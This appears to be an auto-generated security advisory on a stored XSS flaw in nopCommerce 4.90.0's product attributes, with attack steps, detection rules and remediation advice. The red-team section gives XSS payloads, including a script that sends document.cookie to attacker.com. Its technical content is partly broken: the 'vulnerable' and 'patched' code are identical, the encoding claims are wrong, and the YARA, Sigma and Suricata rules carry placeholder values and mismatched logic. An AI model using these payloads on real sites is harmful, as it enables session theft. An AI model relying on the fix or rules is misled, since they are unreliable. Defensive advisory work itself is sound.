CVE-2025-65589

Executive Summary

CVE-2025-65589 identifies a stored Cross-Site Scripting (XSS) vulnerability in nopCommerce version 4.90.0, specifically within the product Attributes functionality. An authenticated attacker with product management privileges can inject malicious JavaScript payloads into attribute fields (e.g., name, description, or predefined values). When other administrators or customers view the affected product, the payload executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability arises from insufficient sanitization of user-supplied input before rendering in the admin panel and storefront. No official patch has been released by the vendor, and no public exploit code or Nuclei template is available at this time.

Supply Chain & Package Security

nopCommerce is a .NET-based open-source e-commerce platform. The vulnerability resides in the core application code, not in a third-party package. However, administrators should verify the integrity of their nopCommerce installation and review any custom plugins that extend the Attributes functionality, as these may also be affected.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official vector assigned by NVD)

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N (Score: 5.4 - Medium)

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs an admin account with product management rights.
• User Interaction (UI): Required – The victim must view the malicious product page.
• Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. Exploitation requires authenticated access, but the impact can be significant for multi-tenant or high-traffic e-commerce sites.

Deep Dive & Mechanics

The vulnerability exists in the product attribute management module of nopCommerce 4.90.0. When an administrator creates or edits a product attribute (e.g., size, color, or custom text), the application stores the attribute name, description, and predefined values in the database without proper HTML encoding. The stored data is later rendered in the admin panel (e.g., /Admin/ProductAttribute/Edit) and potentially on the public storefront (e.g., /product/{id}) without sanitization.

Root Cause: The ProductAttribute model and its associated Razor views do not apply Html.Encode() or use the @ syntax for automatic encoding in all output locations. Specifically, the Name and Description fields are rendered using @Html.Raw() in some views, allowing arbitrary HTML/JavaScript injection.

Attack Flow:

1. Attacker logs in as an admin with product management privileges.
2. Attacker navigates to Admin > Product Attributes > Add New.
3. Attacker sets the attribute name to: <script>alert('XSS')</script>.
4. Attacker saves the attribute.
5. When another admin views the attribute list or a customer views a product using that attribute, the script executes.

Affected Endpoints (likely):

• /Admin/ProductAttribute/Create
• /Admin/ProductAttribute/Edit/{id}
• /Admin/Product/ProductAttributeMappingEdit/{id}
• Public product detail pages that display attribute values.

Vulnerable vs. Patched Code

Vulnerable Code (nopCommerce 4.90.0):

In Views/Admin/ProductAttribute/_CreateOrUpdate.cshtml (or similar):

<div class="form-group">
    <label asp-for="Name" class="control-label"></label>
    <input asp-for="Name" class="form-control" />
    <span asp-validation-for="Name" class="text-danger"></span>
</div>

The Name field is rendered using asp-for, which does NOT automatically encode output in all contexts. If the view uses @Html.Raw(Model.Name) elsewhere, the vulnerability is triggered.

Patched Code (Recommended Fix):

Replace any @Html.Raw() calls with @ (automatic encoding) or explicitly use Html.Encode():

<div class="form-group">
    <label asp-for="Name" class="control-label"></label>
    <input asp-for="Name" class="form-control" />
    <span asp-validation-for="Name" class="text-danger"></span>
</div>
<!-- Ensure no @Html.Raw is used for Name or Description -->
@Model.Name

Additionally, apply server-side validation in the controller:

[HttpPost]
public IActionResult Create(ProductAttributeModel model)
{
    model.Name = HtmlEncoder.Default.Encode(model.Name);
    model.Description = HtmlEncoder.Default.Encode(model.Description);
    // ... rest of logic
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Admin credentials with product management rights.
• Access to the nopCommerce admin panel.

Step-by-Step Exploit:

1. Login to the admin panel (e.g., https://target.com/admin).
2. Navigate to Catalog > Attributes > Product Attributes.
3. Click "Add new".
4. Inject payload into the "Name" field:

   <img src=x onerror=alert(document.cookie)>
   

5. Save the attribute.
6. Trigger by viewing the attribute list or assigning it to a product and viewing the product page.

Advanced Payload (Session Hijacking):

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

No public exploit code is available. The above steps are based on manual analysis.

Blue Team (Detection & Hardening)

Detection:

• Monitor admin panel logs for unusual attribute creation/editing.
• Look for HTTP requests to /Admin/ProductAttribute/Create or /Edit with suspicious parameters (e.g., <script> tags).
• Use WAF rules to block XSS patterns in admin POST requests.

Hardening:

• Apply the code fix described in the "Vulnerable vs. Patched Code" section.
• Restrict admin access to trusted IPs.
• Enable Content Security Policy (CSP) headers to mitigate XSS impact.
• Regularly audit custom plugins for similar vulnerabilities.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /Admin/ProductAttribute/Create or /Edit containing <script>, <img onerror=, or similar XSS patterns.
• Outbound HTTP requests from the server to attacker-controlled domains (e.g., attacker.com/steal).

File IOCs:

• Modified database entries in the ProductAttribute table with suspicious HTML/JavaScript in Name or Description fields.
• Log entries in nopCommerce_log showing attribute creation by unexpected users.

Behavioral IOCs:

• Unusual admin account activity during off-hours.
• Multiple failed login attempts followed by successful attribute creation.

Detection Engineering

YARA Rule

rule detect_nopcommerce_xss_attribute {
    meta:
        description = "Detects XSS payloads in nopCommerce product attribute fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65589"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<img[^>]+onerror\s*=/is
        $xss3 = /<svg[^>]+onload\s*=/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: nopCommerce Product Attribute XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts in nopCommerce admin attribute creation/editing
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-65589
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/Admin/ProductAttribute/Create'
            - '/Admin/ProductAttribute/Edit/*'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in attribute descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-65589 nopCommerce Product Attribute XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/Admin/ProductAttribute/"; http_uri;
    pcre:"/(<script|<img[^>]+onerror|<svg[^>]+onload|javascript:)/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2025-65589;
)

Remediation & Mitigation

Immediate Actions:

1. Apply the code fix described in the "Vulnerable vs. Patched Code" section to all views that render attribute names/descriptions.
2. Restrict admin access to trusted IPs and enforce strong passwords.
3. Enable WAF rules to block XSS patterns in admin POST requests.

Long-Term Actions: 4. Upgrade to the latest nopCommerce version once a patch is released. 5. Conduct a security audit of all custom plugins and themes. 6. Implement Content Security Policy (CSP) headers to mitigate XSS impact. 7. Train administrators on secure coding practices and the risks of XSS.

Workaround:

• Disable the product attribute functionality temporarily if not in use.
• Use a reverse proxy (e.g., Cloudflare) with XSS filtering enabled.

Valters IT